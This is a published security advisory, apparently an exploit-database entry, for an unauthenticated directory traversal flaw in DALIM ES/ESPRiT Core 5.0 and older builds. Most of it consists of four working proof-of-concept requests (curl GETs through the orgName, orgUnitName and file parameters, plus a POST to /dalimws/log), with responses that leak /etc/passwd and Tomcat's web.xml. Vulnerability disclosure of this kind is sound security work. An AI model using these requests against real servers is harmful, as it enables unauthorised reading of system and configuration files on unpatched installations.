DALIM SOFTWARE ES Core 5.0 build 7184.1 - Directory Traversal

### Description Input passed thru several parameters is not properly verified before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files from local resources with directory traversal attacks. ### Vendor Dalim Software GmbH - https://www.dalim.com ### Affected Version * ES/ESPRiT 5.0 (build 7184.1) * (build 7163.2) * (build 7163.0) * (build 7135.0) * (build 7114.1) * (build 7114.0) * (build 7093.1) * (build 7093.0) * (build 7072.0) * (build 7051.3) * (build 7051.1) * (build 7030.0) * (build 7009.0) * (build 6347.0) * (build 6326.0) * (build 6305.1) * (build 6235.9) * (build 6172.1) * ES/ESPRiT 4.5 (build 6326.0) * (build 6144.2) * (build 5180.2) * (build 5096.0) * (build 4314.3) * (build 4314.0) * (build 4146.4) * (build 3308.3) * ES/ESPRiT 4.0 (build 4202.0) * (build 4132.1) * (build 2235.0) * ES/ESPRiT 3.0 ### Tested On * Red Hat Enterprise Linux Server release 7.3 (Maipo) * CentOS 7 * Apache Tomcat/7.0.78 * Apache Tomcat/7.0.67 * Apache Tomcat/7.0.42 * Apache Tomcat/6.0.35 * Apache-Coyote/1.1 * Java/1.7.0_80 * Java/1.6.0_21 --------------------------------------------------- 1. PoC request for Password.jsp, orgName parameter: --------------------------------------------------- ``` ~ curl -v http://TARGET:8080/Esprit/public/Password.jsp\?orgName\=../../../../../../../../../etc/passwd * Trying TARGET... * TCP_NODELAY set * Connected to TARGET (TARGET) port 8080 (#0) > GET /Esprit/public/Password.jsp?orgName=../../../../../../../../../etc/passwd HTTP/1.1 > Host: TARGET:8080 > User-Agent: curl/7.51.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: text/html;charset=UTF-8 < Transfer-Encoding: chunked < Date: Thu, 15 Jun 2017 02:18:44 GMT < Server: Server < --snip-- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin --snip-- ``` ---------------------------------------------------- 2. PoC request for Login.jsp, orgUnitName parameter: ---------------------------------------------------- ``` ~ curl -v http://TARGET/Esprit/ES/Login\?orgUnitName\=../../../../../../../../../etc/passwd * Trying TARGET... * TCP_NODELAY set * Connected to TARGET (TARGET) port 80 (#0) > GET /Esprit/ES/Login?orgUnitName=../../../../../../../../../etc/passwd HTTP/1.1 > Host: TARGET > User-Agent: curl/7.51.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Thu, 15 Jun 2017 02:19:31 GMT < Server: Server < Content-Type: text/html;charset=UTF-8 < Set-Cookie: JSESSIONID=0ECF83AA0D337B5D942B5C164B172051; Path=/Esprit; HttpOnly < Transfer-Encoding: chunked < --snip-- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin --snip-- ``` --------------------------------------- 3. PoC request for log, file parameter: --------------------------------------- ``` ~ curl http://TARGET:8080/dalimws/log\?file\=../../../../../../../etc/passwd\&len\=10000\&download\=true -v * Trying TARGET... * TCP_NODELAY set * Connected to TARGET (TARGET) port 8080 (#0) > GET /dalimws/log?file=../../../../../../../etc/passwd&len=10000&download=true HTTP/1.1 > Host: TARGET:8080 > User-Agent: curl/7.51.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Disposition: attachment; filename=../../../../../../../etc/passwd < Content-Type: text/plain < Content-Length: 10000 < Date: Thu, 15 Jun 2017 02:20:17 GMT < Server: Server < --snip-- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin --snip-- ``` --------------------------------------- 4. PoC request for log, file parameter: --------------------------------------- ``` POST /dalimws/log HTTP/1.1 Host: TARGET:8080 Content-Length: 116 User-Agent: H2O Content-type: application/x-www-form-urlencoded Accept: */* Accept-Language: en-US,en;q=0.8,mk;q=0.6 Connection: close file=../../../../../../../symlnks/common/tomcat7.0/conf/web.xml&len=1000000&XUI_SessionID=LOGReq&responseWiter=XML Response: --snip-- <!-- The mapping for the default servlet --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- The mappings for the JSP servlet --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> </servlet-mapping> --snip-- ```